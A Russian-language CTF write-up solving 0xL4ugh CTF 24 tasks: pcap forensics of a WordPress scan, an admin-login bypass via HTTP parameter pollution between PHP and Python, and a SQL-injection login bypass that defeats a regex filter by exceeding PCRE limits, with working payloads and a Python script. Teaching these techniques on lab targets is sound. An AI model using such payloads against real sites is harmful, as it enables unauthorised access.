Можно ли взломать хакера? Решаем задачи с CTF-турнира

Можно ли взломать хакера? Распутываем кибератаки с CTF-турнира

Делимся решением задач с турнира 0xL4ugh CTF 24. Пригодится как новичкам, так и опытным специалистам.

Изображение записи

Продолжаем путешествовать по CTF-турнирам. Из последних — 0xL4ugh CTF 24 от одноименной команды из Египта. В статье расскажем, как наш коллега, специалист по информационной безопасности, решил задачи из категории DFIR (Digital Forensics and Incident Response) и web.  

Дисклеймер: материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.

Подробнее о турнире

В этом году команда 0xL4ugh анонсировала турнир:  

«Мы постарались сделать турнир 0xL4ugh CTF 24 (третью версию) максимально сложным, полезным и забавным. Большинство задач в этом году основаны на реальных случаях и исследованиях. Оставайтесь на связи».

Команда 0xL4ugh Создатели CTF-турнира

В течение суток участникам нужно было решить 36 задач из категории web, DFIR, reverse, crypto, pwn, misc и osint. Как обычно, информация о мероприятии была на CTFtime. Советуем отслеживать анонсы мероприятия там, если хотите быть в курсе популярных CTF-турниров.

Категория DFIR

Задача: WordPress 1

Условие

На сайте WordPress произошел сбой в системе безопасности, и точный способ взлома на данный момент не определен. Нам нужна ваша помощь, чтобы выяснить, что же произошло на самом деле.

  1. Два злоумышленника пытались скомпрометировать нашу среду. Какие IP-адреса были у жертвы и первого злоумышленника? 
  2. Какие были версии у серверов Apache и PHP, установленных в нашей среде?

Дано 

Решение

Чтобы собрать флаг в этой задаче, нужно ответить на два вопроса. Приступим! 

Шаг 1

Открываем в Wireshark приложенный к заданию файл. По логике сначала идет разведка (сканирование), поэтому предполагаем, что первый атакующий — это инициатор сканов.  

Переходим из Статистики в HTTP, затем — в Последовательность запросов.  

Содержание файла WordPress.pcapng в Wireshark.

Видим несколько запросов к 192.168.204.128. Название явно указывает, что там находится WordPress.

Шаг 2

Теперь переходим в общий файл и начинаем его фильтровать:


    ip.dst == 192.168.204.128 and http contains "GET"

Трафики от 192.168.204.1 и 192.168.204.132 похожи на индикатор скана. Смотрим информацию у последнего IP-адреса и видим, что User-Agent содержит WPScan v3.8.25 и sqlmap 1.7.12#stable%: 

Содержание файла WordPress.pcapng в Wireshark.
Содержание файла WordPress.pcapng в Wireshark.

Очевидно, IP-адрес 192.168.204.132 сканировал жертву с помощью этих утилит. 

Шаг 3

Далее меняем предыдущий фильтр на следующий адрес:


    ip.src == 192.168.204.128 and ip.dst == 192.168.204.132

В ответе видим php_8.2.12 и Apache_2.4.58.

Содержание файла WordPress.pcapng в Wireshark.

Готово — задача решена, забираем флаг!


    0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}

Категория web

Задача: Micro

Условие

Помните Bruh 1,2? Это bruh 3

Войдите под логином admin:admin, и вы получите флаг :*

Дано 

Решение

Шаг 1

У нас есть доступ на страницу с формой авторизации и исходники приложения:

Страница с формой. Адрес: http://20.115.83.90:1338/.

Переходим к исходникам. Нас интересуют три файла из архива: init.db, index.php и app.py. Рассмотрим каждый подробнее. 

Внутри файла init.db находится такой блок кода:


    CREATE TABLE IF NOT EXISTS `users` (
  `id` varchar(50) NOT NULL,
  `username` varchar(20) NOT NULL,
  `password` varchar(50) NOT NULL
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

Из кода видно, что при запуске приложения создается таблица с тремя столбцами (ID, username и password), а затем выполняется INSERT-запрос к базе данных.


    insert into users(id,username,password) values('1','admin','21232f297a57a5a743894a0e4a801fc3'); 

В таблицу добавляется одна запись, а в столбец password — md5-hash с admin.

Шаг 2 

Внутри файла index.php — данные по обработке POST-запроса сервером.


    if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
	{
$username=$_POST['username'];
$password=md5($_POST['password']);
       		if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
        		{
            		die("Admin Login allowed from localhost only : )");
       		}		
        		else
        		{
            		send_to_api(file_get_contents("php://input"));
        		}   

	}
	else
	{
		echo "<script>alert('Please Fill All Fields')</script>";
	}
}

Код выше проверяет, чтобы поля username и password не были пустыми. После полученные данные записываются в соответствующие переменные, а username отдается на проверку в функцию Check_Admin.


    function Check_Admin($input)
{
        $input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input);   // Just to Normalize the string to UTF-8
        if(preg_match("/admin/i",$input))
        {     
                return true;
        }
        else
        {
                return false;
        }
}

Check_Admin ответит значением true, если в поле username содержится admin. В противном случае — вернет false. Если функция Check_Admin ответит true и  $_SERVER[‘REMOTE_ADDR’] не будет равен 127.0.0.1, то приложение вернет сообщение «Admin Login allowed from localhost only : )». В противном случае — отправит данные на порт 5 000, в котором находится API для запроса в базу данных через скрипт app.py.

Шаг 3

Перейдем к файлу app.py. В нем приложение никак не обрабатывает данные из username, но подсчитывает хэш из password:


    password = hashlib.md5(request.form.get('password').encode()).hexdigest()

Данные отправляются на проверку в функцию authenticate_user():


    def authenticate_user(username, password):
    try:
        conn = mysql.connector.connect(
            host=mysql_host,
            user=mysql_user,
            password=mysql_password,
            database=mysql_db
        )

        cursor = conn.cursor()

        query = "SELECT * FROM users WHERE username = %s AND password = %s"
        cursor.execute(query, (username, password))

        result = cursor.fetchone()

        cursor.close()
        conn.close()

        return result  
    except mysql.connector.Error as error:
        print("Error while connecting to MySQL", error)
        return None

По логике приложения можно сделать вывод, что если, как указано в задании, передать в форму username=admin и password=admin, то preg_match в index.php вернет значение true. Следовательно, если запроса к базе данных не будет, то мы не получим флаг.

Если обратиться к $_SERVER[‘REMOTE_ADDR’] с сервера, в котором находится приложение, он будет равен 127.0.0.1. PHP вытащит эти данные из сетевого стека, поэтому передача заголовка HTTP ‘REMOTE_ADDR: 127.0.0.1 не подойдет. 

Кроме того, условие if(Check_Admin($username) && $_SERVER[‘REMOTE_ADDR’]!==»127.0.0.1″) можно обойти, если функция Check_Admin ответит false. Тогда данные уйдут на обработку в app.py. 

Если не ввести admin в username, то запрос к базе данных не выдаст оттуда запись. Для этого нужно одним запросом передать username с двумя условиями: 

  • Username не должен содержать admin, чтобы обойти фильтр функцией preg_match php.
  • Username должен содержать admin, чтобы python забрал его в SQL-запрос.

Задача кажется противоречивой, но ответ заключается в том, как PHP и Python принимают данные из POST-запроса. Если передать несколько одинаковых параметров в теле HTTP, то Python возьмет значения из первого параметра, а PHP — из последнего.

Шаг 4 

Добавляем к index.php вывод параметра username в POST-запросах, чтобы проверить наше предположение. Далее собираем и запускаем новый Docker image.


    if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
	{
$username=$_POST['username'];
$password=md5($_POST['password']);

		echo "<script>alert($username)</script>";

		if(Check_Admin($username))  
{
send_to_api(file_get_contents("php://input"));
}   

	}
	else
	{
		echo "<script>alert('Please Fill All Fields')</script>";
	}
}

    sudo docker build Micro_togive --tag "micro_test"
sudo docker run micro_test

Теперь передаем в форму значения ниже и получаем следующий результат:

Запросы к HTTP-серверу.
Запросы к HTTP-серверу.

По такому принципу в POST-запрос можно отдать и больше параметров. Результат, как видно ниже, не изменится.

Запросы к HTTP-серверу.

Чтобы обойти фильтр preg_match php, в последнем значении username отдаем строку, не содержащую admin. А чтобы удовлетворить SQL-запрос в app.py, указываем первым параметром именно admin. Далее передаем значения в оригинальное тестовое приложение, запущенное в Docker.

Запросы к HTTP-серверу.

Шаг 5

Получаем тестовый флаг, теперь нужно передать его в боевое приложение. 


    username=admin&username=anydata1&username=anydata2&password=admin&login-submit=
Запросы к HTTP-серверу.

Задача решена — флаг у нас!  

Задача: Simple WAF

Задание

Я внес в белый список входные значения, так что, думаю, я в безопасности.

Дано

Решение

Шаг 1

По ссылке — форма из предыдущего задания:

Страница с формой. Адрес: http://20.115.83.90:1339/.

Переходим к файлам из предыдущего архива. В init.db нам снова предлагают создать таблицу с тремя столбцами и добавить запись об администраторе:


    CREATE TABLE IF NOT EXISTS `users` (
  `id` varchar(50) NOT NULL,
  `username` varchar(20) NOT NULL,
  `password` varchar(50) NOT NULL
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;


    insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');

На этот раз пароль — не admin. Хеш md5 к нему не подходит. 

Шаг 2

В файле index.php есть ряд условий:


    if(isset($_POST['login-submit']))
{
        if(!empty($_POST['username'])&&!empty($_POST['password']))
	      {
                $username=$_POST['username'];
                $password=md5($_POST['password']);
                if(waf($username))
                {
                        die("WAF Block");
                }
                else
                {
                        $res = $conn->query("select * from users where username='$username' and password='$password'");
                        if($res->num_rows ===1)
                        {
                                echo "0xL4ugh{Fake_Flag}";
                        }
                        else
                        {
                                echo "<script>alert('Wrong Creds')</script>";
                        }
                }
	      }
        else
	      {
		            echo "<script>alert('Please Fill All Fields')</script>";
	      }
}

Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:


    function waf($input)
{
        if(preg_match("/([^a-z])+/s",$input))
        {
                return true;
        }
        else
        {
                return false;
        }
}

Дальнейшая обработка запроса происходит только в том случае, если проверка в waf не была пройдена. После этого она выполняет такой запрос к базе данных:


    select * from users where username='$username' and password='$password'

Шаг 3 

Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.

  1. Данные в username не должны попадать под шаблон:

    preg_match("/([^a-z])+/s",$input)
  1. Запрос к БД должен вернуть только одну строку:

    if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}

Поскольку в базе данных находится одна строка, то обход авторизацию должен сработать независимо от переданных значений username, password. 


    ‘ or 1=1;#
‘ or 1=1;-- -
‘ or true;#
‘ or true;-- -

Добавляем условие, чтобы обойти авторизацию. 

Данные в username не должны попадать под шаблон preg_match(«/([^a-z])+/s»,$input). В нем есть проверка на наличие букв. Если она возвращает true, то запрос до базы данных не доходит. Поэтому стоит учитывать этот фильтр и не допускать появления букв в username. 

Прикладываем пример альтернативного обхода авторизации:  

SQL-инъекция с обходом аутентификации.

В итоговой SQL-инъекции меняем запись «or 1=1— -» на «|| 1=1— -».

Шаг 4

Теперь необходимо решить, как обойти preg_match. По ссылке можно найти информацию о функции и ее ошибках.

По сути, preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значений. Информацию о лимитах функции нашел в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.

Собираем POST-запрос в Python и передаем его в тестовое приложение, запущенное в Docker. Собираем образ Docker и запускаем контейнер.


    $ sudo docker build simple_waf_togive --tag "waf"

    $ sudo docker run waf

Пишем скрипт test_waf.py, запускаем и получаем страницу с тестовым флагом:


    import requests

address = 'http://172.17.0.2/'
username = '1'*10001 + "' || 1=1-- -"
password = 'any'

data = {'username':username, 'password':password, 'login-submit':''}

print(requests.post(address,data).text)
Страница приложения с тестовым флагом.
Интересное наблюдение. Если в строке 10 001 символ, функция возвращает false. Возможно, это значение может быть еще ниже — его можно определить параметром pcre.recursion_limit в php.ini. 

Супер — теперь с помощью скрипта можно обратиться к основному приложению и получить долгожданный флаг!

Страница приложения с флагом.

Интересные материалы по CTF

Если хотите ознакомиться с другими задачами CTF-турниров, рекомендуем почитать предыдущие статьи на эту тему.